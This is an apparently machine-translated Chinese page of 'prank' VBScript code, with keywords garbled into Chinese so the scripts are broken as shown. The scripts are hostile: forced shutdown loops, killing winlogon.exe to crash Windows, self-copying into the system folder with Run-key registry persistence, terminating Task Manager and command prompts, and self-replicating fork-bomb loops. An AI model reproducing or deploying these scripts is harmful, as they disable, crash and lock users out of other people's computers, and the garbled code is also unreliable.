找到VBS的恶作剧代码。。。。。。。。

set sh = createobject(" wscript . shell ")

Msgbox“你经常失眠吗？”，vbyesno

Msgbox“我也经常失眠。唉。”

Msgbox“我来告诉你一个祖传秘方吧！”

对于i=1到50

弹出窗口i & amp“羊”，1

然后

wscript.sleep 1000

Sh.popup“嗯，晚安！”,5

做

运行“关闭-s -f -t 30”

Msgbox“再见~”

环

这个自动打字:非常恐怖。

dim sh，str，a，I

set sh = createobject(" wscript . shell ")

Sh.run“记事本”打开记事本。

Do while sh.appactivate("无标题-记事本")=false。

wscript.sleep 1000

环

str="wokao1！ni 1 youmeiyou 1 Gao CuO 1！”这一行是中文输入的演示。定义要键入的字符串。只能是英文或数字或符号。

如果要输入中文，请去掉下面两行的注释。否则，将注释符号“'”(不带引号)放在它前面。

以及在str中输入键的过程，比如:如果要输入“气死我”，写qisiwole1。

sh . sendkeys“^”

解释最后一行:呼唤中文输入法

对于i=0到len(str)-1

a=mid(str，i+1，1)

发送虚拟密钥。

Wscript.sleep 500 '打字速度。值越小，速度越快。

然后

保存=1 '如果你想保存，写1。

如果保存=1，则

sh .发送键“^”

解释最后一行:关闭中文输入法。如果是中文，必须去掉上一行的评论。

sh .发送键“^s”

wscript.sleep 300

sh.sendkeys "c:\name.txt " '的文件名(可写路径)必须是英文。如果是中文模式，必须关闭。

wscript.sleep 100

sh.sendkeys "{Enter} "

如果…就会结束

这个蓝屏立即出现:

对于getobject中的每个PS(" winmgmts:\ \。\root\cimv2:win32_process”)。实例_

如果Ucase(PS . name)= Ucase(" winlogon . exe ")，则

ps .终止

如果…就会结束

然后

Set ws=CreateObject("WScript。外壳”)

set fs = createobject(" scripting . file system object ")

dim a1，a2，a3，thn，I

thn=wscript.scriptfullname

a 1 = fs . getparentfoldername(fs。GetSpecialFolder(0))

fs.copyfile thn，a 1 & amp；" \admin123.vbs "，真

当我& lt10

i=i+1

ws。RegWrite " HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows \ current version \ Run \ admin "，" C:\admin123.vbs "

环

ws.run "shutdown -s -f -t 60 "

做

wscript.sleep 500

如果ws.appactivate("Windows任务管理器")=true，则。

ws . run " taskkill/f/im taskmgr . exe "

如果…就会结束

如果ws.appactivate("命令提示符")=true，则

ws.run "taskkill /f /im cmd.exe "

如果…就会结束

如果ws . app activate(" C:\ WINDOWS \ system32 \ cmd . exe ")= true，则

ws.run "taskkill /f /im cmd.exe "

如果…就会结束

如果ws.appactivate("系统关闭")=false，则。

ws.run "shutdown -s -f -t 30 "

如果…就会结束

环

会有一堆窗口:

Set sh=CreateObject("WScript。外壳”)

dim i，s，z，thn

z =数组(4，5，16，32，48，64)

i=0

s=1

做

当我& lts

i=i+1

sh.run wscript.scriptfullname

环

s=s+1

i=0

使不规则化

wscript . sleep int(rnd()* 100)

Msgbox "程序中出现未知错误！"，z(int((6-1)* rnd()+1))，“错误？@#%^&；)TGDZX%#@C889 "

thn=wscript.scriptfullname

先令RegWrite " HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows \ current version \ Run \ system 23 "，thn

环

这个五秒钟就死机了，十秒钟鼠标都动不了！

做

createobject("wscript.shell ")。运行wscript.scriptfullname

环